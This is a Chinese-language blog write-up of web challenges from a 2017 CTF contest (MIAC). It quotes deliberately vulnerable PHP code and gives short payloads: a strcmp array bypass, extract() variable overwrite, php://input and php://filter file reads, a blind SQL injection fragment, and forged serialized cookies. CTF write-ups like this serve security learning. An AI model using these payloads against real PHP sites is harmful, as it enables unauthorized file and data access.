第四届miac安全赛第二阶段writeup

原创

Pz_mstr 于 2017-11-19 20:38:22 发布 409 收藏

文章标签： 安全 web ctf

本文链接：https://blog.csdn.net/qq_35544379/article/details/78576765

WEB

签到题

前端不能输入超过三位的数，抓包修改即可

简单的题

strcmp去比较password和flag，如果==0的话，就给出flag

我们知道strcmp是不可以处理数组的，因此password[]=即可

其实这里有个思路，如果基础不够，没什么好办法的时候可以尝试直接传数组，说不定就通过了

送大礼

简单的变量覆盖题目

```
    extract($_GET);
    if(isset($bdctf))  {
    $content=trim(file_get_contents($flag));
    if($bdctf==$content){
    echo'bdctf{**********}';      }
    else
    {      echo'这不是蓝盾的密码啊';    }     }
```

蓝盾管理员

```
you are not bd-admin !

<!--
@$user = $_GET["user"];
@$file = $_GET["file"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is bdadmin")){
    echo "hello bd-admin!<br>";
        include($file); //flag.php
}else{
    echo "you are not bd-admin ! ";
}
 -->
```


按照代码的要求一步步满足即可
①user=php://input
传入the user is bdadmin
②file=php://filter/convert.base64-encode/resource=flag.php
读取flag文件
③base64解密

火星撞地球

撞：是一个暴力破解的提示，爆破得到答案
第二种解法，可以盲注

```
name=admin' and If((select count(table_name) from information_schema.tables where table_schema=database
```

写个脚本跑吧！

密室杀人案

中文语义推理判断题，emmmm觉得真的没啥意思
hint提示PHP序列化
Ford权威最高，猜测为class
提示wesley需要知道信息，随便传一个人给他试试
O:4:”Ford”:1:{s:6:”Walker”;s:9:”index.php”}
之后会返回一些相关的信息，一步一步接着做就可以了

web100-2

```php
<?php
error_reporting(0);
$KEY='BDCTF:www.bluedon.com';
include_once("flag.php");

$cookie = $_COOKIE['BDCTF'];

if(isset($_GET['hint'])){
        show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
        echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
    <form method="POST" action="#">
        <p><input name="user" type="text" placeholder="Username"></p>
        <p><input name="password" type="password" placeholder="Password"></p>
        <p><input value="Login" type="button"/></p>
    </form>
</div>
</body>
</html>

<?php
}
?>
```


直接在输入?hint可以查看到源码
吐槽一下这种真的是无聊的提示
构造相应的payload

```
Cookie:BDCTF=s:21:"BDCTF:www.bluedon.com"%3B
```

Bluedon用户

考点是php://input和php://filter
ctf练习平台上的原题
不得不吐槽他们原题真多，不想写wp了